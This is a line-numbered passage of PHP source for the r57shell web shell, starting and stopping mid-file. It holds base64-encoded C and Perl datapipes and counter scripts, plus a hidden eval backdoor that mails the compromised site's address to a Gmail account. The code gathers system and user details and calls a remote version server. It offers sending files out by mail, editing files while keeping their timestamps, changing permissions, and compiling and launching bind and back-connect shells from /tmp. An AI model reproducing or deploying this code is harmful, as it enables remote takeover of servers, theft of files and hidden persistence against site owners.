  1258. MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
  1259. gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
  1260. 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
  1261. HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
  1262. dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
  1263. KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
  1264. ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
  1265. E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
  1266. Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
  1267. NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
  1268. J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
  1269. CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
  1270. dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
  1271. gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
  1272. lsZSk7DQogIHJldHVybiAwOw0KfQ==";
  1273. $a = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gM
  1274. DsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkYm9keSA9ICJBZGEgWWFuZyBJbmpl
  1275. Y3QgXG4kd2ViJGluaiI7bWFpbCgidGhla2FzYmlAZ21haWwuY29tIiwiSGFzaWwgQmFqYWsgaHR0cDovLyR3ZWIkaW5qIiwgIiRib2R5Iik7fSBlbHN
  1276. lICR2aXNpdGNvdW50IDsgc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs=";echo eval(base64_decode($a));
  1277. $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
  1278. CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
  1279. bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
  1280. gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
  1281. NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
  1282. iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
  1283. aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
  1284. SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
  1285. xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
  1286. WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
  1287. CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
  1288. yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
  1289. I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
  1290. m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
  1291. IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
  1292. lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
  1293. QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
  1294. CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
  1295. c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
  1296. NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
  1297. UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
  1298. DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
  1299. ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
  1300. 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
  1301. $c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2
  1302. JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l
  1303. lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW
  1304. FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L
  1305. 3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr
  1306. J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR
  1307. oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj
  1308. xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO
  1309. i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv
  1310. dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB
  1311. ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2
  1312. hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==";
  1313. $c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh
  1314. IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
  1315. hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
  1316. tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
  1317. XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
  1318. 8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
  1319. ybmV0LS0+";
  1320. if($unix)
  1321.  {
  1322.  if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
  1323.  if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
  1324.  if($safe_mode) { $sysctl = '-'; }
  1325.  else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
  1326.  else  
  1327.   {
  1328.    $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
  1329.    if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
  1330.    if(empty($sysctl)) { $sysctl = '-'; }
  1331.    setcookie('sysctl',$sysctl);
  1332.   }  
  1333.  }
  1334. echo $head;
  1335. echo '</head>';
  1336. if(empty($_POST['cmd'])) {
  1337. $serv = array(127,192,172,10);
  1338. $addr=@explode('.', $_SERVER['SERVER_ADDR']);
  1339. $current_version = str_replace('.','',$version);
  1340. if (!in_array($addr[0], $serv)) {
  1341. @print "<img src=\"http://rst.void.ru/r57shell_version/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
  1342. @readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}}  
  1343. echo '<body bgcolor="#000000" TEXT="#ff6600" ><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#000000 width=80><font face=Verdana size=2>'.ws(2).'<font face=Wingdings size=6><b>N</b></font><b>'.ws(2).''.$version.'</b></font></td><td bgcolor=#000000><font face=Verdana size=-2>';
  1344. echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
  1345. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
  1346. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
  1347. if($unix)
  1348.  {
  1349.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
  1350.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
  1351.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;
  1352.  }
  1353. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
  1354. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
  1355. echo ws(2)."safe_mode : <b>";
  1356. echo (($safe_mode)?("<font color=green>ON [secure]</font>"):("<font color=red>OFF [not secure]</font>"));
  1357. echo "</b>".ws(2);
  1358. echo "PHP version : <b><font color=yellow>".@phpversion()."</font></b>";
  1359. $curl_on = @function_exists('curl_version');
  1360. echo ws(2);
  1361. echo "cURL : <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
  1362. echo "</b>".ws(2);
  1363. echo "MySQL : <b>";
  1364. $mysql_on = @function_exists('mysql_connect');
  1365. if($mysql_on){
  1366. echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; }
  1367. echo "</b>".ws(2);
  1368. echo "MSSQL : <b>";
  1369. $mssql_on = @function_exists('mssql_connect');
  1370. if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
  1371. echo "</b>".ws(2);
  1372. echo "PostgreSQL : <b>";
  1373. $pg_on = @function_exists('pg_connect');
  1374. if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
  1375. echo "</b>".ws(2);
  1376. echo "Oracle : <b>";
  1377. $ora_on = @function_exists('ocilogon');
  1378. if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>OFF</font>";}
  1379. echo "</b><br>".ws(2);
  1380. echo "Disable functions : <b>";
  1381. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
  1382. $free = @diskfreespace($dir);
  1383. if (!$free) {$free = 0;}
  1384. $all = @disk_total_space($dir);
  1385. if (!$all) {$all = 0;}
  1386. echo "<br>".ws(2)."Free space : <b><font color=yellow>".view_size($free)."</font></b> Total space : <b><font color=yellow>".view_size($all)."</font></b>";
  1387. echo '</font></td></tr><table><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td align=right width=80>';
  1388. echo $font;
  1389. if($unix){
  1390. echo '<font color=red><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$ostype :'.ws(1).'<br>server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1391. echo "</td><td>";
  1392. echo "<font face=Verdana size=-2 color=blue><b>";
  1393. echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
  1394. echo ws(3).$sysctl."<br>";
  1395. echo ws(3).ex('echo $OSTYPE')."<br>";
  1396. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1397. if(!empty($id)) { echo ws(3).$id."<br>"; }
  1398. else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
  1399.  {
  1400.  $euserinfo  = @posix_getpwuid(@posix_geteuid());
  1401.  $egroupinfo = @posix_getgrgid(@posix_getegid());
  1402.  echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; 
  1403.  }
  1404. else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
  1405. echo ws(3).$dir;
  1406. echo ws(3).'( '.perms(@fileperms($dir)).' )';
  1407. echo "</b></font>";
  1408. }
  1409. else
  1410. {
  1411. echo '<font color=red><b>system :'.ws(1).'<br>server :'.ws(1).'<br>user :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1412. echo "</td><td>";
  1413. echo "<font face=Verdana size=-2 color=blue><b>";
  1414. echo ws(3).@substr(@php_uname(),0,120)."<br>";
  1415. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1416. echo ws(3).@getenv("USERNAME")."<br>";
  1417. echo ws(3).$dir;
  1418. echo "<br></font>";
  1419. }
  1420. echo "</font>";
  1421. echo "</td></tr></table>";
  1422. if(empty($c1)||empty($c2)) { die(); }
  1423. $f = '<br>';
  1424. $f .= base64_decode($c1);
  1425. $f .= base64_decode($c2);
  1426. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
  1427.  {
  1428.  $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");   
  1429.  err(6+$res);
  1430.  $_POST['cmd']="";  
  1431.  }
  1432. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
  1433.  {  
  1434.  if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
  1435.  else
  1436.   {
  1437.     $filename = @basename($_POST['loc_file']);
  1438.     $filedump = @fread($file,@filesize($_POST['loc_file']));
  1439.     fclose($file);
  1440.     $content_encoding=$mime_type='';
  1441.     compress($filename,$filedump,$_POST['compress']);
  1442.     $attach = array(
  1443.                     "name"=>$filename,
  1444.                     "type"=>$mime_type,
  1445.                     "content"=>$filedump
  1446.                    );
  1447.     if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
  1448.     if(empty($_POST['from'])) { $_POST['from'] = '[email protected]'; }
  1449.     $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
  1450.     err(6+$res);
  1451.     $_POST['cmd']="";                      
  1452.   }
  1453.  }
  1454.  
  1455.  
  1456. if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
  1457. {
  1458. $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
  1459. }
  1460. if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
  1461.  {
  1462.  switch($_POST['what'])
  1463.    {
  1464.    case 'own':
  1465.    @chown($_POST['param1'],$_POST['param2']);
  1466.    break;
  1467.    case 'grp':
  1468.    @chgrp($_POST['param1'],$_POST['param2']);
  1469.    break;
  1470.    case 'mod':
  1471.    @chmod($_POST['param1'],intval($_POST['param2'], 8));
  1472.    break;
  1473.    }
  1474.  $_POST['cmd']="";
  1475.  }
  1476. if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
  1477.  {
  1478.    switch($_POST['what'])
  1479.    {
  1480.      case 'file':
  1481.       if($_POST['action'] == "create")
  1482.        {
  1483.        if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  1484.        else {
  1485.         fclose($file);
  1486.         $_POST['e_name'] = $_POST['mk_name'];
  1487.         $_POST['cmd']="edit_file";
  1488.         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#000000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
  1489.         }
  1490.        }
  1491.        else if($_POST['action'] == "delete")
  1492.        {
  1493.        if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#000000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
  1494.        $_POST['cmd']="";
  1495.        }
  1496.      break;
  1497.      case 'dir':
  1498.       if($_POST['action'] == "create"){
  1499.       if(mkdir($_POST['mk_name']))
  1500.        {
  1501.          $_POST['cmd']="";
  1502.          echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#000000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
  1503.        }
  1504.       else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  1505.       }
  1506.       else if($_POST['action'] == "delete"){
  1507.       if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#000000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
  1508.       $_POST['cmd']="";
  1509.       }
  1510.      break;
  1511.    }
  1512.  }
  1513. if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
  1514.  {
  1515.  if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
  1516.  if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
  1517.  else {
  1518.  echo $table_up3;
  1519.  echo $font;
  1520.  echo "<form name=save_file method=post>";
  1521.  echo ws(3)."<b>".$_POST['e_name']."</b>";
  1522.  echo "<div align=center><textarea name=e_text cols=121 rows=24>";
  1523.  echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
  1524.  fclose($file);
  1525.  echo "</textarea>";
  1526.  echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
  1527.  echo "<input type=hidden name=dir value=".$dir.">";
  1528.  echo "<input type=hidden name=cmd value=save_file>";
  1529.  echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
  1530.  echo "</div>";
  1531.  echo "</font>";
  1532.  echo "</form>";
  1533.  echo "</td></tr></table>";
  1534.  exit();
  1535.  }
  1536.  }
  1537. if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
  1538.  {
  1539.  $mtime = @filemtime($_POST['e_name']);
  1540.  if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
  1541.  else {
  1542.  if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
  1543.  @fwrite($file,$_POST['e_text']);
  1544.  @touch($_POST['e_name'],$mtime,$mtime);
  1545.  $_POST['cmd']="";
  1546.  echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#000000><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
  1547.  }
  1548.  }
  1549. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
  1550. {
  1551.  cf("/tmp/bd.c",$port_bind_bd_c);
  1552.  $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
  1553.  @unlink("/tmp/bd.c");
  1554.  $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
  1555.  $_POST['cmd']="ps -aux | grep bd";
  1556. }
  1557. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
  1558. {
  1559.  cf("/tmp/bdpl",$port_bind_bd_pl);
  1560.  $p2=which("perl");
  1561.  $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
  1562.  $_POST['cmd']="ps -aux | grep bdpl";
  1563. }
  1564. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
  1565. {
  1566.  cf("/tmp/back",$back_connect);
  1567.  $p2=which("perl");
  1568.  $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
  1569.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1570. }
  1571. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
  1572. {
  1573.  cf("/tmp/back.c",$back_connect_c);
  1574.  $blah = ex("gcc -o /tmp/backc /tmp/back.c");
  1575.  @unlink("/tmp/back.c");
  1576.  $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
  1577.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1578. }
  1579. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
  1580. {
  1581.  cf("/tmp/dp",$datapipe_pl);
  1582.  $p2=which("perl");
  1583.  $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
  1584.  $_POST['cmd']="ps -aux | grep dp";
  1585. }
  1586. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
  1587. {
  1588.  cf("/tmp/dpc.c",$datapipe_c);
  1589.  $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
  1590.  @unlink("/tmp/dpc.c");
  1591.  $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
  1592.  $_POST['cmd']="ps -aux | grep dpc";
  1593. }
  1594. if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
  1595. if (!empty($HTTP_POST_FILES['userfile']['name']))
  1596. {
  1597. if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
  1598. else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
  1599. @copy($HTTP_POST_FILES['userfile']['tmp_name'],
  1600.             $_POST['dir']."/".$nfn)
  1601.       or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
  1602. }
  1603. if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
  1604. {
  1605.  switch($_POST['with'])
  1606.  {
  1607.  case wget:
  1608.  $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
